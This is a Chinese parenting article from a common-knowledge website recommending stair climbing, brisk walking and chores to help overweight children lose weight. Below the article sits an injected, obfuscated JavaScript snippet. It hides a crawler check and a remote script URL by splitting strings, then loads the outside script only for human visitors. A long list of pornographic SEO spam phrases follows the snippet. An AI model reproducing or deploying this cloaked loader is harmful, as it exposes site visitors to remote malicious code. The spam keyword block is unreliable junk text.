當前位置:首頁 > 母嬰 > 育兒知識 > 正文

兒童做什么運動減肥

2017-04-02 11:39:01  來源:360常識網   熱度:
導語:現在的兒童都成了家里的小皇帝,想要什么就要什么,想吃什么就吃什么,最終導致他們營養過剩,脂肪過多,體重不斷增加。這也是因為家長們的

現在的兒童都成了家里的小皇帝,想要什么就要什么,想吃什么就吃什么,最終導致他們營養過剩,脂肪過多,體重不斷增加。這也是因為家長們的過分溺愛所造成的,看到自己的孩子不斷長胖,家長就開始尋求方法來幫助孩子減肥。在小編看來,減肥的組號方法就是運動了,下面就讓我給大家介紹幾種適合兒童運動減肥的方法。

1、爬樓梯運動。爬樓梯運動消耗的能量更多,因為除運動能消耗能量外,還要克服自身重力,如爬10層樓,就相當于把100多斤的體重提升30來米高,這部分能量消耗是相當大的。據測定,上下樓梯所消耗的能量相當于散步的5倍、游泳的2.5倍。肥胖者運動及協調能力均較差,應注意安全。運動時精力要集中,眼睛始終注視前方,抬腳要利落到位,落腳要穩定、準確和緩慢。

2、健步運動。散步是一種運動,但由于運動量不足,往往不能達到減肥和健身要求,而健步運動則不同,根據測試,走完相同距離健步運動消耗的能量為散步的2倍。步行距離和速度,可以用運動后心率來掌握,一般心率不要超過安靜時的150%為宜。步子要邁得大一些,13歲以上兒童和成人每步應不小于70厘米。頭微揚,上身稍向前傾,肩膀放松;雙臂盡力向前、向上擺起來,呼吸均勻,精力集中;邁步時重心先腳跟后移至腳尖,要雄健有力。

3、在肥胖兒的日常生活中把掃除,疊鋪被褥,涮洗餐具等作為身體活動的一項內容,這也是肥胖兒運動療法較為適合的方法。

相信各位家長看了上述的運動減肥方法后,對怎么幫助自己孩子減肥有了一定的了解。但是運動就要持之以恒,不能看到孩子受苦受累就心軟放棄,也不能只運動而不改變孩子的飲食習慣。最后小編希望肥胖的兒童都能減肥成功。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国内精品国语自产拍在线观看91| 国产在线精品一区二区夜色 | 亚洲精品无AMM毛片| 久久久WWW成人免费精品| 亚洲国产成人精品无码区二本| 亚洲色精品88色婷婷七月丁香| 韩国精品一区二区三区无码视频 | 国产精品亚洲а∨天堂2021| 精品无码av一区二区三区 | 日韩精品福利片午夜免费观着| 久久青草精品38国产| 亚洲精品无码av天堂| 国内精品一区二区三区最新| 中文字幕亚洲精品资源网| 国产午夜精品无码| 亚洲成人国产精品| 嫩草影院精品视频在线观看| 亚洲自偷精品视频自拍| 亚洲精品午夜无码专区| 亚洲精品tv久久久久久久久久| WWW国产亚洲精品久久麻豆| 久久久国产乱子伦精品作者| 法国性xxxx精品hd| 国产精品高清2021在线 | 国产成人综合久久精品| 99久久久精品免费观看国产| 亚洲综合国产精品| 中文精品无码中文字幕无码专区| 老司机福利精品视频| 精品久久天干天天天按摩| 国产精品99久久精品| 98精品国产高清在线看入口| 精品四虎免费观看国产高清午夜 | 亚洲国产综合精品中文第一| ...91久久精品一区二区三区| 亚洲AV无码成人精品区天堂| 国产在线91精品入口| 久久亚洲中文字幕精品一区| 国产精品成人99久久久久 | 中文成人无字幕乱码精品区| 国产精品一级AV在线播放|